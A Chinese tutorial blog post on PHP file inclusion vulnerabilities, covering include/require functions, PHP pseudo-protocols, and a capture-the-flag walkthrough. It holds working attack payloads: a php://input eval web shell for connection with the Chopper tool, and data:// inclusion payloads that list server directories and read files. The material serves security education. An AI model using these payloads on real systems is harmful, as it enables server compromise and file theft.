php文件包含漏洞的危害,php文件包含漏洞小结
本文由 东塔网络安全学院学员---吴同学 投稿。
0x00 文件包含的出现
开发者为了节约开发时间,可以将重复利用的代码使用文件包含的函数,如include,reuqire等进行文件包含,大大节约开发的时间和成本。
0x01文件包含函数
Include:包含并指定运行的函数。如果未找到文件则include结构会发出一条警告。
Require:包含并指定运行的函数。如果未找到文件则include结构会发出一个致命的错误。
Include_once:include_once语句和include语句完全相同,唯一区别是php会检查该文件是否已经被包含过,如果是则不会包含。
Require_once:require_once语句和require语句完全相同,唯一区别是php会检查该文件是否已经被包含过,如果是则不会包含。
0x02 php伪协议
Php支持的伪协议和封装协议:
具体协议请参照
0x03常见伪协议的用法:
1. file://:指定一个绝对路径包含,该路径表示服务器所存在的文件的路径。
例如:
2. php://
1. php://input是个可以访问请求的原始数据的只读流,在PHP5.6之前打开的数据流只能读取一次。需要在配置文件php.ini的allow_url_include设置为on。
例如:http://192.168.10.115/test.php?file=php://input 【POST DATA】<?php eval($_POST[cmd]); ?>,使用菜刀连接方式如下:
2. php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。使用以下的参数将作为它路径的一部分。
例子:
读取的内容为base64编码。
0x04例题
下面是来源于XTCTF的一道文件包含题:
如图源码显示,$page表示GET传过来的参数,会将该参数进行包含。在while循环条件中,strstr表示查找字符串的首次出现,如果存在php://,循环不会结束。str_replace会将$page参数中中的php://字符替换为空,说明该循环是为了除掉php://伪协议。
这里可以发现,php://被过滤无法使用,file://需要知道本地文件的路径,我们可以使用data://伪协议进行包含。
使用playload:?page=data://text/plain, <?php echo $_SERVER['DOCUMENT_ROOT']; ?>
输出当前文件的路径,然后使用playload:?page=data://text/plain, <?php print_r(scandir('/var/www'))?>
读出当前路径下的所有文件,看到flag文件,读出该文件的内容就能拿到flag值。playload:?page=data://text/plain, <?php $a = file_get_contents('fl4gisisish3r3.php');echo htmlentities($a); ?>
php文件包含漏洞的危害,php文件包含漏洞小结相关推荐
- struts2漏洞_十大常见web漏洞——命令执行漏洞
命令执行漏洞在不同框架下都有存在,也是十分普遍且危害极大,下面我们介绍一个最具代表性的,也是影响范围最大的一个命令执行漏洞--Struts2远程代码执行漏洞. Struts2 漏洞介绍 ApacheS ...
- 文件包含原理及本地文件包含漏洞演示(本地文件,远程包含文件的测试)
一.文件包含漏洞概述 1.定义:文件包含漏洞是一种最常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序.当应用程序使用攻击者控制的变量构建可执行代码的路径时,文件包含漏洞会导致攻击者任意控制运行 ...
- Java安全-Tomcat AJP 文件包含漏洞(CVE-2020-1938)幽灵猫漏洞复现
Tomcat AJP 文件包含漏洞(CVE-2020-1938) CVE-2020-1938 又名GhostCat ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含 ...
- Apache Tomcat 曝文件包含漏洞:攻击者可利用该漏洞读取webapp目录下的任意文件...
点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | oschina 来源 | https://ww ...
- 文件包含中过滤了php,文件包含漏洞---php协议
一.原理 1.概念:在php代码中,总会有一些代码我们会经常用到,这时引入了文件包含函数,可以通过文件包含函数把这些代码文件包含进来,直接使用文件中的代码,这样提高了我们的工作效率. 2.文件包含函数 ...
- 【文件包含漏洞】——文件包含漏洞进阶_日志文件包含利用
文章目录 一.实验目的: 二.工具: 三.实验环境: 四.原理说明: 1. 原理: 2. 利用方法: 五.日志文件相关: 1. 日志文件路径: 2. 没有`access.log`访问日志的原因: 3. ...
- 常见网络安全漏洞(一)-- 文件包含漏洞
今天正式开启网络安全学习的记录之路,这一系列会不定期更新,喜欢的朋友可以持续关注. 前言 第一个记录的安全漏洞是常见的文件包含漏洞,原理很枯燥,通过实验学习效果更好. 时间环境: DVWA 环境(通过 ...
- 00截断上传绕过_【文件上传与解析】文件上传与解析漏洞总结v1.0
点击上方"公众号" 可以订阅哦! Hello,各位小伙伴晚上好~ 这里是依旧勤劳写公众号的小编~ 今天本公众号将推出一个新的模块,那就是漏洞知识点总结模块!!!(此处应有掌声~) ...
- ctfshow-萌新-web9( 利用命令执行漏洞读取网站敏感文件)
ctf.show 萌新模块 web9关,这一关考察的是命令执行漏洞的利用方式,使用PHP的命令执行函数执行系统命令,读取网站根目录下的配置文件,获取flag 页面中展示了部分源码,很明显是作者提示我们 ...
最新文章
- Protocol Buffer C++应用实例
- APP启动引导页的制作,用ViewPager实现翻页动画
- PHP进行生成并且导出CSV文件
- 汇编基础知识之输入输出
- QAction添加事件响应
- Python timedelta total_seconds()方法与示例
- Keys.js 官方使用说明
- C++_类和对象_对象特性_成员变量占用对象内存_成员函数_静态成员函数_静态变量_都不占用对象内存_他们是分开存储的---C++语言工作笔记048
- java连接mysql url_java连接数据库URL
- PopWindow使用方法详解
- LaunchAnywhere载入Java VM时windows出现错误:2以及216
- SpringBoot 教程核心功能-Web 开发(请求处理)
- win10 租约到期不可连网
- 031--python--打印机票页面
- Tcp/Udp端口对照表
- 教你在硬件不满足Windows 11最低硬件要求的情况下安装Windows 11(绝对有效)
- 部署VDI虚拟桌面带来的改变
- 内连接外连接全连接(简单实例)
- limbo运行veket linux,Veket Linux使用(非常适合老电脑的系统)
- “智慧青岛”里的海信力量
热门文章
- (转)Windows 性能监视器工具-perfmon
- Nginx 0.7.x + PHP 5.2.6(FastCGI)搭建高性能web服务器
- English trip EM2-LP-2A Around the world Teacher:Taylor
- 【SpringBoot】Logback日志框架介绍和SpringBoot整合实战
- Linux下ioctl函数理解
- Oracle 数据库简介
- spring MVC 及 AOP 原理
- PAT (Basic Level) Practise (中文)-1034. 有理数四则运算(20)
- SQLCE数据库的几点研究
- Linux makefile教程之函数七[转]